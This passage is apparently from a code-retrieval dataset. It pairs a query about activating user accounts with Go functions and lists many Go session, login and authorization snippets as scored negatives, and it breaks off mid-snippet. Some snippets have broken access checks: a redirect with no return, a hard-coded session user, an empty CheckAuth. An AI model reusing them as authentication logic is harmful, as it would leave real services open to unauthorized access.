{\\n\\t\\t\\tutil.ErrStatus(\\n\\t\\t\\t\\trc, http.StatusForbidden,\\n\\t\\t\\t\\t\\\"Access denied err:\\\"+err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\thttp.Redirect(rc.Writer, rc.Request, url, http.StatusFound)\\n\\t\\treturn\\n\\t}\\n\\n\\tnext(rc)\\n}\",\n \"func IsLogged(token string) bool {\\n\\tif v, ok := tokenList[token]; ok == true {\\n\\t\\tuser, _ := userList[v]\\n\\t\\tif user.expired() {\\n\\t\\t\\treturn false\\n\\t\\t}\\n\\t\\tuser.update()\\n\\t\\treturn true\\n\\t}\\n\\treturn false\\n}\",\n \"func HasUserSession(userID uuid.UUID) bool {\\n\\tdefer mutex.Unlock()\\n\\tmutex.Lock()\\n\\n\\treturn hasUserSession(userID)\\n}\",\n \"func (this *managerStruct) UserExists(name string) bool {\\n\\tthis.mutex.RLock()\\n\\tid := this.getUserId(name)\\n\\tthis.mutex.RUnlock()\\n\\texists := id >= 0\\n\\treturn exists\\n}\",\n \"func (db *gjDatabase) hasUser() bool {\\n\\treturn len(db.getAllUsers()) > 0\\n}\",\n \"func (p *Player) IsCurrentUser(cu *User) bool {\\n\\tif p == nil {\\n\\t\\treturn false\\n\\t}\\n\\treturn p.User().Equal(cu)\\n}\",\n \"func IsOwner(next buffalo.Handler) buffalo.Handler {\\n\\treturn func(c buffalo.Context) error {\\n\\t\\t// Session().Get() returns interface, so we cast to string.\\n\\t\\tif uid := c.Session().Get(\\\"current_user_id\\\"); uid != nil {\\n\\t\\t\\tpathUserID := c.Param(\\\"user_id\\\")\\n\\t\\t\\tif pathUserID != fmt.Sprintf(\\\"%s\\\", uid) {\\n\\t\\t\\t\\tc.Flash().Add(\\\"success\\\", \\\"You do not have access to that user.\\\")\\n\\t\\t\\t\\treturn c.Redirect(302, \\\"/\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn next(c)\\n\\t}\\n}\",\n \"func (a *Auth) HasToBeAuth(next http.HandlerFunc) http.HandlerFunc {\\n\\treturn func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tuserPayload := user.PayloadFromContext(r.Context())\\n\\n\\t\\tif userPayload == nil {\\n\\t\\t\\tflash.Add(\\\"/login\\\", w, r, notAuthErrorMessage)\\n\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tnext(w, r)\\n\\t}\\n}\",\n \"func (o *Authorization) HasUser() bool {\\n\\tif o != nil && o.User != nil {\\n\\t\\treturn true\\n\\t}\\n\\n\\treturn false\\n}\",\n \"func isAllowedUser(request admissionctl.Request) bool {\\n\\tif utils.SliceContains(request.UserInfo.Username, allowedUsers) {\\n\\t\\treturn true\\n\\t}\\n\\n\\tfor _, group := range sreAdminGroups {\\n\\t\\tif utils.SliceContains(group, request.UserInfo.Groups) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\n\\treturn false\\n}\",\n \"func requireLogin(c *fiber.Ctx) error {\\n\\tcurrSession, err := sessionStore.Get(c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tuser := currSession.Get(\\\"User\\\")\\n\\tdefer currSession.Save()\\n\\n\\tif user == nil {\\n\\t\\t// This request is from a user that is not logged in.\\n\\t\\t// Send them to the login page.\\n\\t\\treturn c.Redirect(\\\"/login\\\")\\n\\t}\\n\\n\\t// If we got this far, the request is from a logged-in user.\\n\\t// Continue on to other middleware or routes.\\n\\treturn c.Next()\\n}\",\n \"func (a Anonymous) Authenticated() bool { return false }\",\n \"func CheckLoginStatus(w http.ResponseWriter, r *http.Request) (bool,interface{}){\\n\\tsess := globalSessions.SessionStart(w,r)\\n\\tsess_uid := sess.Get(\\\"UserID\\\")\\n\\tif sess_uid == nil {\\n\\t\\treturn false,\\\"\\\"\\n\\t} else {\\n\\t\\tuID := sess_uid\\n\\t\\tname := sess.Get(\\\"username\\\")\\n\\t\\tfmt.Println(\\\"Logged in User, \\\", uID)\\n\\t\\t//Tpl.ExecuteTemplate(w, \\\"user\\\", nil)\\n\\t\\treturn true,name\\n\\t}\\n}\",\n \"func (o *AccessRequestData) HasUserId() bool {\\n\\tif o != nil && o.UserId != nil {\\n\\t\\treturn true\\n\\t}\\n\\n\\treturn false\\n}\",\n \"func (task *Task) IsRunAsUserApplied() bool {\\n\\treturn nil != task.Credentials\\n}\",\n \"func IsAuthenticated(handler httprouter.Handle) httprouter.Handle {\\n\\treturn func(res http.ResponseWriter, req *http.Request, params httprouter.Params) {\\n\\t\\ttoken := Session.Get(req)\\n\\t\\tif token == \\\"\\\" {\\n\\t\\t\\thttp.Redirect(res, req, \\\"/login\\\", http.StatusSeeOther)\\n\\t\\t} else {\\n\\t\\t\\tuser := User{}\\n\\t\\t\\tdb.Get().First(&user, \\\"token = ?\\\", token)\\n\\t\\t\\tif user == (User{}) {\\n\\t\\t\\t\\thttp.Redirect(res, req, \\\"/login\\\", http.StatusSeeOther)\\n\\t\\t\\t}\\n\\t\\t\\tj := jwt.Jwt{UID: user.ID, Name: user.Name, Username: user.Username}\\n\\t\\t\\tisValid := j.ValidateToken(token)\\n\\t\\t\\tif !isValid {\\n\\t\\t\\t\\thttp.Redirect(res, req, \\\"/login\\\", http.StatusSeeOther)\\n\\t\\t\\t}\\n\\t\\t\\thandler(res, req, params)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (a *ServiceReq) CheckUserAccess(userID string) error {\\n\\tvar id string\\n\\terr := a.Get(&id, \\\"SELECT id FROM csp_user WHERE id = $1 AND active = true\\\", userID)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif id != a.srcReq.UserId {\\n\\t\\treturn errors.New(\\\"unauthorized\\\")\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (q *Query) IsAuthenticated() bool {\\n\\treturn q.WalletID != \\\"\\\"\\n}\",\n \"func GetLoggedIn(w http.ResponseWriter, r *http.Request, db *sqlx.DB) {\\n\\tvar err error\\n\\n\\tsession, err := store.Get(r, \\\"auth\\\")\\n\\tif err != nil {\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=UTF-8\\\")\\n\\t\\tw.WriteHeader(http.StatusOK)\\n\\n\\t\\tif err := json.NewEncoder(w).Encode(\\\"access denied\\\"); err != nil {\\n\\t\\t\\tpanic(err)\\n\\t\\t}\\n\\t} else {\\n\\t\\t// Convert our session data into an instance of User\\n\\t\\tuser := User{}\\n\\t\\tuser, _ = session.Values[\\\"user\\\"].(User)\\n\\n\\t\\tif user.Username != \\\"\\\" && user.AccessLevel == \\\"admin\\\" {\\n\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=UTF-8\\\")\\n\\t\\t\\tw.WriteHeader(http.StatusOK)\\n\\n\\t\\t\\tif err := json.NewEncoder(w).Encode(user); err != nil {\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=UTF-8\\\")\\n\\t\\t\\tw.WriteHeader(http.StatusOK)\\n\\n\\t\\t\\tif err := json.NewEncoder(w).Encode(\\\"access denied\\\"); err != nil {\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tlogRequest(r)\\n}\",\n \"func AuthRequired(c *gin.Context) {\\n\\tsession := sessions.Default(c)\\n\\tsession.Set(\\\"user\\\", \\\"aoki\\\")\\n\\tuser := session.Get(userKey)\\n\\tif user == nil {\\n\\t\\t// Abort the request with the appropriate error code\\n\\t\\tc.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{\\\"error\\\": \\\"unauthorized\\\"})\\n\\t\\treturn\\n\\t}\\n\\t// Continue down the chain to handler etc\\n\\tc.Next()\\n}\",\n \"func (u *User) IsAnonymous() bool { return u.userData.Anonymous }\",\n \"func CheckAuth(c *gin.Context) {\\n\\n}\",\n \"func HasUserToken(userID uuid.UUID) (bool, string) {\\n\\tdefer mutex.Unlock()\\n\\tmutex.Lock()\\n\\n\\tfor k, v := range tokenAvailable {\\n\\t\\tif v.userID == userID {\\n\\t\\t\\treturn true, k\\n\\t\\t}\\n\\t}\\n\\treturn false, \\\"\\\"\\n}\",\n \"func (o RedisToken) GetUser(id, token, clientid string) bool {\\n\\n\\tredisToken, err := o.Conn.Get(id).Result()\\n\\n\\tif err != nil {\\n\\t\\tlog.Debugf(\\\"Redis get user error: %s\\\", err)\\n\\t\\treturn false\\n\\t}\\n\\n\\treturn redisToken == token\\n}\",\n \"func (c *Client) IsAuthed() bool {\\n\\treturn c.authedUser != nil\\n}\",\n \"func (bp *Breakpoint) IsUser() bool {\\n\\treturn bp.Kind&UserBreakpoint != 0\\n}\",\n \"func AuthRequired(c *gin.Context) {\\n\\tsession := sessions.Default(c)\\n\\tuser := session.Get(userkey)\\n\\tif user == nil {\\n\\t\\t// Abort the request with the appropriate error code\\n\\t\\tc.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{\\\"error\\\": \\\"unauthorized\\\"})\\n\\t\\treturn\\n\\t}\\n\\t// Continue down the chain to handler etc\\n\\tc.Next()\\n}\",\n \"func (s *Session) IsAdminUser() bool {\\n\\treturn s.AdminUserID != uuid.Nil\\n}\",\n \"func RequireAuthentication(ctx *web.Context) bool {\\n\\tsession, _ := CookieStore.Get(ctx.Request, \\\"monet-session\\\")\\n\\n\\tif session.Values[\\\"authenticated\\\"] != true {\\n\\t\\tctx.Redirect(302, \\\"/admin/login/\\\")\\n\\t\\treturn true\\n\\t}\\n\\treturn false\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.72608656","0.7167384","0.70349777","0.6959235","0.67846614","0.6773638","0.66770107","0.66748226","0.6639937","0.66283315","0.66162944","0.65844285","0.65049565","0.64838725","0.6463123","0.6461576","0.641174","0.6352023","0.63310164","0.6327516","0.6311728","0.63090384","0.6220057","0.62043375","0.6193266","0.6153271","0.61491835","0.612653","0.61115235","0.6106715","0.60950136","0.6069675","0.6050247","0.6048972","0.60413176","0.60378397","0.6002193","0.59984404","0.5987227","0.59769404","0.59747124","0.5943762","0.5934086","0.5929711","0.5929251","0.5927367","0.59181964","0.59165156","0.58916456","0.5884744","0.5882107","0.58446753","0.582683","0.580581","0.5790642","0.5784281","0.5776413","0.5774288","0.57729226","0.57630706","0.5757536","0.5755945","0.575293","0.5747811","0.57418776","0.5685598","0.56839144","0.5677022","0.5660013","0.56441706","0.5641355","0.5640561","0.5640341","0.5619972","0.5605354","0.55999076","0.5593934","0.5593012","0.5580909","0.55569565","0.55473936","0.5541376","0.5537497","0.5523617","0.5513227","0.55043066","0.5502759","0.5469213","0.546572","0.54637176","0.54580575","0.5451709","0.54467285","0.54400927","0.54374844","0.543024","0.54291797","0.5427798","0.5426144","0.5423975"],"string":"[\n \"0.72608656\",\n \"0.7167384\",\n \"0.70349777\",\n \"0.6959235\",\n \"0.67846614\",\n \"0.6773638\",\n \"0.66770107\",\n \"0.66748226\",\n \"0.6639937\",\n \"0.66283315\",\n \"0.66162944\",\n \"0.65844285\",\n \"0.65049565\",\n \"0.64838725\",\n \"0.6463123\",\n \"0.6461576\",\n \"0.641174\",\n \"0.6352023\",\n \"0.63310164\",\n \"0.6327516\",\n \"0.6311728\",\n \"0.63090384\",\n \"0.6220057\",\n \"0.62043375\",\n \"0.6193266\",\n \"0.6153271\",\n \"0.61491835\",\n \"0.612653\",\n \"0.61115235\",\n \"0.6106715\",\n \"0.60950136\",\n \"0.6069675\",\n \"0.6050247\",\n \"0.6048972\",\n \"0.60413176\",\n \"0.60378397\",\n \"0.6002193\",\n \"0.59984404\",\n \"0.5987227\",\n \"0.59769404\",\n \"0.59747124\",\n \"0.5943762\",\n \"0.5934086\",\n \"0.5929711\",\n \"0.5929251\",\n \"0.5927367\",\n \"0.59181964\",\n \"0.59165156\",\n \"0.58916456\",\n \"0.5884744\",\n \"0.5882107\",\n \"0.58446753\",\n \"0.582683\",\n \"0.580581\",\n \"0.5790642\",\n \"0.5784281\",\n \"0.5776413\",\n \"0.5774288\",\n \"0.57729226\",\n \"0.57630706\",\n \"0.5757536\",\n \"0.5755945\",\n \"0.575293\",\n \"0.5747811\",\n \"0.57418776\",\n \"0.5685598\",\n \"0.56839144\",\n \"0.5677022\",\n \"0.5660013\",\n \"0.56441706\",\n \"0.5641355\",\n \"0.5640561\",\n \"0.5640341\",\n \"0.5619972\",\n \"0.5605354\",\n \"0.55999076\",\n \"0.5593934\",\n \"0.5593012\",\n \"0.5580909\",\n \"0.55569565\",\n \"0.55473936\",\n \"0.5541376\",\n \"0.5537497\",\n \"0.5523617\",\n \"0.5513227\",\n \"0.55043066\",\n \"0.5502759\",\n \"0.5469213\",\n \"0.546572\",\n \"0.54637176\",\n \"0.54580575\",\n \"0.5451709\",\n \"0.54467285\",\n \"0.54400927\",\n \"0.54374844\",\n \"0.543024\",\n \"0.54291797\",\n \"0.5427798\",\n \"0.5426144\",\n \"0.5423975\"\n]"},"document_score":{"kind":"string","value":"0.6837052"},"document_rank":{"kind":"string","value":"4"}}},{"rowIdx":106137,"cells":{"query":{"kind":"string","value":"activate user account using activation key"},"document":{"kind":"string","value":"func activate(ctx context.Context) error {\n\tr := ctx.HttpRequest()\n\tkey := ctx.PathValue(\"key\")\n\tsession, _ := core.GetSession(r)\n\n\tif user := db.GetInactiveUserByKey(key); user != nil {\n\t\tif err := user.Activate(); err != nil {\n\t\t\tlog.Error(\"Error activating user: \", err)\n\t\t}\n\t\tsession.AddFlash(\"Activated! you can now login using your account\")\n\t} else {\n\t\tsession.AddFlash(\"Your activation key is used or has already expired\")\n\t}\n\tif err := session.Save(r, ctx.HttpResponseWriter()); err != nil {\n\t\tlog.Error(\"Unable to save session: \", err)\n\t}\n\treturn goweb.Respond.WithPermanentRedirect(ctx, \"/\")\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (a *Auth) Activate(key []byte) error {\n\tif !bytes.Equal(a.ActivationKey, key) {\n\t\treturn ErrInvalidActivationKey\n\t}\n\n\tif time.Now().After(a.ActivationExpires) {\n\t\treturn ErrActivationKeyExpired\n\t}\n\n\ta.IsActive = true\n\ta.ActivationKey = nil\n\treturn nil\n}","func ActivateUser(t string) {\n\tsqlStmt := `UPDATE tblActivationTokens\n\t\t\t\tSET fldIsActivated = true\n\t\t\t\tWHERE fldToken = ?;`\n\n\tstmt, err := globals.Db.Prepare(sqlStmt)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tdefer stmt.Close()\n\n\t// Execute insert and replace with actual values.\n\t_, err = stmt.Exec(t)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}","func (sry *Sryun) Activate(user *model.User, repo *model.Repo, key *model.Key, link string) error {\n\treturn nil\n}","func activateAccount(model *ActivateAccountModel) api.Response {\n\tvar err = auth.ActivateAppUser(model.Token)\n\n\tif err != nil {\n\t\treturn api.BadRequest(err)\n\t}\n\n\treturn api.StatusResponse(http.StatusNoContent)\n}","func activateAppUser(token string) api.Response {\n\tvar err = auth.ActivateAppUser(token)\n\tif err != nil {\n\t\treturn api.BadRequest(err)\n\t}\n\n\treturn api.PlainTextResponse(http.StatusCreated, \"Account is now active\")\n}","func ActivateUser(w http.ResponseWriter, r *http.Request) {\n\tfLog := userMgmtLogger.WithField(\"func\", \"ActivateUser\").WithField(\"RequestID\", r.Context().Value(constants.RequestID)).WithField(\"path\", r.URL.Path).WithField(\"method\", r.Method)\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tfLog.Errorf(\"ioutil.ReadAll got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tc := &ActivateUserRequest{}\n\terr = json.Unmarshal(body, c)\n\tif err != nil {\n\t\tfLog.Errorf(\"json.Unmarshal got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \"Malformed json body\", nil, nil)\n\t\treturn\n\t}\n\n\tisValidPassphrase := passphrase.Validate(c.NewPassphrase, config.GetInt(\"security.passphrase.minchars\"), config.GetInt(\"security.passphrase.minwords\"), config.GetInt(\"security.passphrase.mincharsinword\"))\n\tif !isValidPassphrase {\n\t\tfLog.Errorf(\"New Passphrase invalid\")\n\t\tinvalidMsg := fmt.Sprintf(\"Invalid passphrase. Passphrase must at least has %d characters and %d words and for each word have minimum %d characters\", config.GetInt(\"security.passphrase.minchars\"), config.GetInt(\"security.passphrase.minwords\"), config.GetInt(\"security.passphrase.mincharsinword\"))\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \"invalid passphrase\", nil, invalidMsg)\n\t\treturn\n\t}\n\n\tuser, err := UserRepo.GetUserByEmail(r.Context(), c.Email)\n\tif err != nil {\n\t\tfLog.Errorf(\"UserRepo.GetUserByEmail got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tif user == nil {\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, fmt.Sprintf(\"User email %s not found\", c.Email), nil, nil)\n\t\treturn\n\t}\n\tif user.ActivationCode == c.ActivationToken {\n\t\tuser.Enabled = true\n\t\tnewHashed, err := bcrypt.GenerateFromPassword([]byte(c.NewPassphrase), 14)\n\t\tif err != nil {\n\t\t\tfLog.Errorf(\"bcrypt.GenerateFromPassword got %s\", err.Error())\n\t\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\t\treturn\n\t\t}\n\t\tuser.HashedPassphrase = string(newHashed)\n\t\terr = UserRepo.UpdateUser(r.Context(), user)\n\t\tif err != nil {\n\t\t\tfLog.Errorf(\"UserRepo.SaveOrUpdate got %s\", err.Error())\n\t\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\t\treturn\n\t\t}\n\t\tret := make(map[string]interface{})\n\t\tret[\"rec_id\"] = user.RecID\n\t\tret[\"email\"] = user.Email\n\t\tret[\"enabled\"] = user.Enabled\n\t\tret[\"suspended\"] = user.Suspended\n\t\tret[\"last_seen\"] = user.LastSeen\n\t\tret[\"last_login\"] = user.LastLogin\n\t\tret[\"enabled_2fa\"] = user.Enable2FactorAuth\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusOK, \"User activated\", nil, ret)\n\t} else {\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, \"Activation token and email not match\", nil, nil)\n\t}\n}","func (c *Client) ActivateUser(userID uint64, email string) (err error) {\n\n\tvar data map[string]string\n\n\t// Basic requirements\n\tif userID > 0 {\n\t\tdata = map[string]string{fieldID: fmt.Sprintf(\"%d\", userID)}\n\t} else if len(email) > 0 {\n\t\tdata = map[string]string{fieldEmail: email}\n\t} else {\n\t\terr = c.createError(fmt.Sprintf(\"missing required attribute: %s or %s\", fieldUserID, fieldEmail), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t// Fire the Request\n\tvar response string\n\tif response, err = c.Request(fmt.Sprintf(\"%s/status/activate\", modelUser), http.MethodPut, data); err != nil {\n\t\treturn\n\t}\n\n\t// Only a 200 is treated as a success\n\terr = c.Error(http.StatusOK, response)\n\treturn\n}","func (handler *Handler) handleUserActivationPut(w http.ResponseWriter, r *http.Request) {\n\n\t//Define a local struct to get the email out of the request\n\ttype ActivationGet struct {\n\t\tEmail string `json:\"email\"`\n\t\tActToken string `json:\"activation_token\"`\n\t}\n\n\t//Create a new password change object\n\tinfo := ActivationGet{}\n\n\t//Now get the json info\n\terr := json.NewDecoder(r.Body).Decode(&info)\n\tif err != nil {\n\t\tutils.ReturnJsonError(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\n\t}\n\n\t//Lookup the user id\n\tuser, err := handler.userHelper.GetUserByEmail(info.Email)\n\n\t//Return the error\n\tif err != nil {\n\t\tutils.ReturnJsonStatus(w, http.StatusForbidden, false, \"activation_forbidden\")\n\t\treturn\n\t}\n\n\t//Try to use the token\n\trequestId, err := handler.userHelper.CheckForActivationToken(user.Id(), info.ActToken)\n\n\t//Return the error\n\tif err != nil {\n\t\tutils.ReturnJsonStatus(w, http.StatusForbidden, false, \"activation_forbidden\")\n\t\treturn\n\t}\n\t//Now activate the user\n\terr = handler.userHelper.ActivateUser(user)\n\n\t//Return the error\n\tif err != nil {\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t\treturn\n\t}\n\t//Mark the request as used\n\terr = handler.userHelper.UseToken(requestId)\n\n\t//Check to see if the user was created\n\tif err == nil {\n\t\tutils.ReturnJsonStatus(w, http.StatusAccepted, true, \"user_activated\")\n\t} else {\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t}\n}","func (dao *Dao) ActivateAcc(activeCode string) error {\n\tvar g mysql.Gooq\n\n\tg.SQL.\n\t\tSelect(userpo.Acc).\n\t\tFrom(userpo.Table).\n\t\tWhere(c(userpo.ActiveCode).Eq(\"?\"))\n\tg.AddValues(activeCode)\n\n\tvar account string\n\tif err := g.QueryRow(func(row *sql.Row) error {\n\t\treturn row.Scan(&account)\n\t}); err != nil {\n\t\treturn err\n\t}\n\n\tg = mysql.Gooq{}\n\tconditions := []gooq.Condition{c(userpo.Status).Eq(\"?\")}\n\tg.SQL.Update(userpo.Table).Set(conditions...).Where(c(userpo.Acc).Eq(\"?\"))\n\tg.AddValues(userstatus.Active, account)\n\n\tif _, err := g.Exec(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func Activate(auth interface{}, codetype string, code string) (Response, error) {\n\tvar arguments = []interface{}{\n\t\tcodetype,\n\t\tcode,\n\t}\n\treturn Call(auth, \"activate\", arguments)\n}","func (s Service) ActivateUser(ctx context.Context, code string, userID string) (*account.LoginResponse, error) {\n\tspan := s.tracer.MakeSpan(ctx, \"ActivateUser\")\n\tdefer span.Finish()\n\n\t// check tmp code\n\tmatched, email, err := s.repository.Cache.CheckTemporaryCodeForEmailActivation(ctx, userID, code)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t}\n\tif !matched {\n\t\treturn nil, errors.New(\"wrong_activation_code\")\n\t}\n\n\t// change status of user\n\terr = s.repository.Users.ChangeStatusOfUser(ctx, userID, status.UserStatusActivated)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t\t// internal error\n\t\treturn nil, err\n\t}\n\n\t// change status of email\n\terr = s.repository.Users.ActivateEmail(ctx, userID, email)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t\t// internal error\n\t\treturn nil, err\n\t}\n\n\tres, err := s.repository.Users.GetCredentialsByUserID(ctx, userID)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t\t// internal error\n\t\treturn nil, err\n\t}\n\n\ts.passContext(&ctx)\n\n\tresult := &account.LoginResponse{}\n\n\tresult.Token, err = s.authRPC.LoginUser(ctx, userID)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t\t// internal error\n\t}\n\n\t// TODO:\n\t// SetDateOfActivation\n\n\terr = s.repository.Cache.Remove(email)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t}\n\n\treturn &account.LoginResponse{\n\t\tID: userID,\n\t\tURL: res.URL,\n\t\tFirstName: res.FirstName,\n\t\tLastName: res.LastName,\n\t\tAvatar: res.Avatar,\n\t\tToken: result.Token,\n\t\tGender: res.Gender,\n\t}, nil\n}","func (s *UsersService) Activate(id string, sendEmail bool) (*ActivationResponse, *Response, error) {\n\tu := fmt.Sprintf(\"users/%v/lifecycle/activate?sendEmail=%v\", id, sendEmail)\n\n\treq, err := s.client.NewRequest(\"POST\", u, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tactivationInfo := new(ActivationResponse)\n\tresp, err := s.client.Do(req, activationInfo)\n\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn activationInfo, resp, err\n}","func (contrl *MailController) SendActivation(c *gin.Context) (int, gin.H, error) {\n\tconst subject = \"歡迎登入報導者,體驗會員專屬功能\"\n\tvar err error\n\tvar mailBody string\n\tvar out bytes.Buffer\n\tvar reqBody activationReqBody\n\n\tif failData, err := bindRequestJSONBody(c, &reqBody); err != nil {\n\t\treturn http.StatusBadRequest, gin.H{\"status\": \"fail\", \"data\": failData}, nil\n\t}\n\n\tif err = contrl.HTMLTemplate.ExecuteTemplate(&out, \"signin.tmpl\", struct {\n\t\tHref string\n\t}{\n\t\treqBody.ActivateLink,\n\t}); err != nil {\n\t\treturn http.StatusInternalServerError, gin.H{\"status\": \"error\", \"message\": \"can not create activate mail body\"}, errors.WithStack(err)\n\t}\n\n\tmailBody = out.String()\n\n\tif err = contrl.MailService.Send(reqBody.Email, subject, mailBody); err != nil {\n\t\treturn http.StatusInternalServerError, gin.H{\"status\": \"error\", \"message\": fmt.Sprintf(\"can not send activate mail to %s\", reqBody.Email)}, err\n\t}\n\n\treturn http.StatusNoContent, gin.H{}, nil\n}","func (c *client) Activate(u *model.User, r *model.Repo, link string) error {\n\tconfig := map[string]string{\n\t\t\"url\": link,\n\t\t\"secret\": r.Hash,\n\t\t\"content_type\": \"json\",\n\t}\n\thook := gitea.CreateHookOption{\n\t\tType: \"gitea\",\n\t\tConfig: config,\n\t\tEvents: []string{\"push\", \"create\", \"pull_request\"},\n\t\tActive: true,\n\t}\n\n\tclient := c.newClientToken(u.Token)\n\t_, err := client.CreateRepoHook(r.Owner, r.Name, hook)\n\treturn err\n}","func (a *Auth) NewActivationKey() {\n\ta.ActivationKey = []byte(uuid.New())\n\ta.ActivationExpires = time.Now().AddDate(0, 0, 7).Round(1 * time.Second).UTC()\n}","func setActivationToken() func(*User) error {\n\treturn func(a *User) error {\n\t\ta.ActivationToken = uuid.New().String()\n\t\ta.ActivationExpiryDate = time.Now().Add(1 * time.Hour)\n\t\treturn nil\n\t}\n}","func ActivateUserProfile(context *gin.Context) {\n\tuserProfile := models.UserProfile{}\n\tuserProfile.Username = context.Param(\"id\")\n\tuserProfile.Status = \"active\"\n\n\tmodifiedCount, err := userprofileservice.Update(userProfile)\n\tif modifiedCount == 0 {\n\t\tcontext.JSON(http.StatusNotFound, gin.H{\"message\": \"Failed to activate user\", \"id\": userProfile.Username})\n\t\treturn\n\t}\n\n\tif err != nil {\n\t\tcontext.JSON(http.StatusInternalServerError, gin.H{\"message\": \"Failed to activate user\", \"id\": userProfile.Username})\n\t\treturn\n\t}\n\n\tcontext.JSON(http.StatusOK, gin.H{\"message\": \"ok\"})\n}","func (r *Bitbucket) Activate(user *model.User, repo *model.Repo, link string) error {\n\tvar client = bitbucket.New(\n\t\tr.Client,\n\t\tr.Secret,\n\t\tuser.Access,\n\t\tuser.Secret,\n\t)\n\n\t// parse the hostname from the hook, and use this\n\t// to name the ssh key\n\tvar hookurl, err = url.Parse(link)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// if the repository is private we'll need\n\t// to upload a github key to the repository\n\tif repo.Private {\n\t\t// name the key\n\t\tvar keyname = \"drone@\" + hookurl.Host\n\t\tvar _, err = client.RepoKeys.CreateUpdate(repo.Owner, repo.Name, repo.PublicKey, keyname)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// add the hook\n\t_, err = client.Brokers.CreateUpdate(repo.Owner, repo.Name, link, bitbucket.BrokerTypePost)\n\treturn err\n}","func activateServiceAccount(path string) error {\n\tif path == \"\" {\n\t\treturn nil\n\t}\n\treturn runWithOutput(exec.Command(\"gcloud\", \"auth\", \"activate-service-account\", \"--key-file=\"+path))\n}","func activateWorkItem(item WorkItem, request BlockReq) {\n\tvalue := workItemMap[item.ID]\n\tvalue.Active = true\n\n\t// update the workItemMap (in memory)\n\tworkItemMap[item.ID] = value\n\n\t// update the WorkItem value on disk\n\tworkDB.persistWorkItem(value)\n\n\t// update the User's WorkItem list on disk\n\tuser, getUsrError := labsDB.getUser(request.LabKey, request.Username)\n\tif getUsrError != nil {\n\t\treturn\n\t}\n\tuser.addWorkItem(item.ID)\n\tlabsDB.setUser(user)\n}","func UserActivated(e string) bool {\n\tsqlStmt := `SELECT \n\t\t\t\t\tfldIsActivated\n\t\t\t\tFROM tblUsers\n\t\t\t\tINNER JOIN tblActivationTokens\n\t\t\t\tON tblActivationTokens.fldFKUserID = tblUsers.fldID\n\t\t\t\tWHERE fldEmail = ?;`\n\n\tstmt, err := globals.Db.Prepare(sqlStmt)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer stmt.Close()\n\n\tvar isActivated int\n\terr = stmt.QueryRow(e).Scan(&isActivated)\n\tif err != nil {\n\t\t// No rows found\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn false\n\t\t}\n\t\t// Something else went wrong\n\t\tlog.Fatal(err)\n\t}\n\t// User is not activated\n\tif isActivated == 0 {\n\t\treturn false\n\t}\n\n\treturn true\n}","func (db *Db) activateMerchantAccountTxFunc(id uint64) core_database.CmplxTx {\n\treturn func(ctx context.Context, tx *gorm.DB) (interface{}, error) {\n\t\tconst operationType = \"activate_business_account_db_tx\"\n\t\tdb.Logger.Info(\"starting transaction\")\n\n\t\tif id == 0 {\n\t\t\treturn false, service_errors.ErrInvalidInputArguments\n\t\t}\n\n\t\taccount, err := db.GetMerchantAccountById(ctx, id, false)\n\t\tif err != nil {\n\t\t\treturn false, 